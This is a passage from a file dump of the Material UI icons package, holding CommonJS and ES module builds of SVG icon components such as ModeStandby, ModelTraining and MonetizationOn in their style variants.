    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h3.53L19 14l-4.5-4.5h3.47C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.06 9.02.92.92L5.92 19H5v-.92zM17.66 3c-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29m-3.6 3.19L3 17.25V21h3.75L17.81 9.94z\"\n}), 'ModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.06 9.02.92.92L5.92 19H5v-.92zM17.66 3c-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29m-3.6 3.19L3 17.25V21h3.75L17.81 9.94z\"\n}), 'ModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'ModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'ModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'ModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'ModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandby.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandby');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandby.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandby');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeStandbyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'ModeStandbyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.06 9.02 5 18.08V19h.92l9.06-9.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.37 3.29c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41zm-.56 6.65-3.75-3.75L3 17.25V21h3.75zM5 19v-.92l9.06-9.06.92.92L5.92 19z\"\n}, \"1\")], 'ModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.06 9.02 5 18.08V19h.92l9.06-9.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.37 3.29c-.2-.2-.45-.29-.71-.29s-.51.1-.7.29l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41zm-.56 6.65-3.75-3.75L3 17.25V21h3.75zM5 19v-.92l9.06-9.06.92.92L5.92 19z\"\n}, \"1\")], 'ModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTraining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTraining');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTraining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTraining');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTrainingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTrainingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2v.5c0 .55.45 1 1 1s1-.45 1-1zm6-6.5c0 1.39-.41 2.69-1.12 3.78-.25.39-.19.91.14 1.24.44.44 1.2.38 1.54-.15C20.47 16.47 21 14.8 21 13c0-2.36-.91-4.51-2.4-6.12-.39-.42-1.05-.43-1.45-.03-.38.38-.38.99-.02 1.39C18.29 9.49 19 11.16 19 13m-3.35-8.35-2.79-2.79c-.32-.32-.86-.1-.86.35V4c-4.97 0-9 4.03-9 9 0 1.8.53 3.47 1.44 4.88.34.53 1.1.59 1.54.15.33-.33.39-.84.14-1.23-1.39-2.15-1.64-5.1.13-8C7.45 6.85 9.71 5.81 12 6v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'ModelTrainingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2v.5c0 .55.45 1 1 1s1-.45 1-1zm6-6.5c0 1.39-.41 2.69-1.12 3.78-.25.39-.19.91.14 1.24.44.44 1.2.38 1.54-.15C20.47 16.47 21 14.8 21 13c0-2.36-.91-4.51-2.4-6.12-.39-.42-1.05-.43-1.45-.03-.38.38-.38.99-.02 1.39C18.29 9.49 19 11.16 19 13m-3.35-8.35-2.79-2.79c-.32-.32-.86-.1-.86.35V4c-4.97 0-9 4.03-9 9 0 1.8.53 3.47 1.44 4.88.34.53 1.1.59 1.54.15.33-.33.39-.84.14-1.23-1.39-2.15-1.64-5.1.13-8C7.45 6.85 9.71 5.81 12 6v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'ModelTrainingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTrainingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTrainingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTrainingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModelTrainingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 13.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5m-2.5 6h-2V21h2zm6-6.5c0 1.68-.59 3.21-1.58 4.42l1.42 1.42C20.18 17.27 21 15.23 21 13c0-2.74-1.23-5.19-3.16-6.84l-1.42 1.42C17.99 8.86 19 10.82 19 13m-3-8-4-4v3c-4.97 0-9 4.03-9 9 0 2.23.82 4.27 2.16 5.84l1.42-1.42C5.59 16.21 5 14.68 5 13c0-3.86 3.14-7 7-7v3z\"\n}), 'ModelTrainingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.41 16.09V20h-2.67v-1.93c-1.71-.36-3.16-1.46-3.27-3.4h1.96c.1 1.05.82 1.87 2.65 1.87 1.96 0 2.4-.98 2.4-1.59 0-.83-.44-1.61-2.67-2.14-2.48-.6-4.18-1.62-4.18-3.67 0-1.72 1.39-2.84 3.11-3.21V4h2.67v1.95c1.86.45 2.79 1.86 2.85 3.39H14.3c-.05-1.11-.64-1.87-2.22-1.87-1.5 0-2.4.68-2.4 1.64 0 .84.65 1.39 2.67 1.91s4.18 1.39 4.18 3.91c-.01 1.83-1.38 2.83-3.12 3.16\"\n}), 'MonetizationOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.41 16.09V20h-2.67v-1.93c-1.71-.36-3.16-1.46-3.27-3.4h1.96c.1 1.05.82 1.87 2.65 1.87 1.96 0 2.4-.98 2.4-1.59 0-.83-.44-1.61-2.67-2.14-2.48-.6-4.18-1.62-4.18-3.67 0-1.72 1.39-2.84 3.11-3.21V4h2.67v1.95c1.86.45 2.79 1.86 2.85 3.39H14.3c-.05-1.11-.64-1.87-2.22-1.87-1.5 0-2.4.68-2.4 1.64 0 .84.65 1.39 2.67 1.91s4.18 1.39 4.18 3.91c-.01 1.83-1.38 2.83-3.12 3.16\"\n}), 'MonetizationOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.31-8.86c-1.77-.45-2.34-.94-2.34-1.67 0-.84.79-1.43 2.1-1.43 1.38 0 1.9.66 1.94 1.64h1.71c-.05-1.34-.87-2.57-2.49-2.97V5H10.9v1.69c-1.51.32-2.72 1.3-2.72 2.81 0 1.79 1.49 2.69 3.66 3.21 1.95.46 2.34 1.15 2.34 1.87 0 .53-.39 1.39-2.1 1.39-1.6 0-2.23-.72-2.32-1.64H8.04c.1 1.7 1.36 2.66 2.86 2.97V19h2.34v-1.67c1.52-.29 2.72-1.16 2.73-2.77-.01-2.2-1.9-2.96-3.66-3.42\"\n}), 'MonetizationOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnOutlined.mjs",
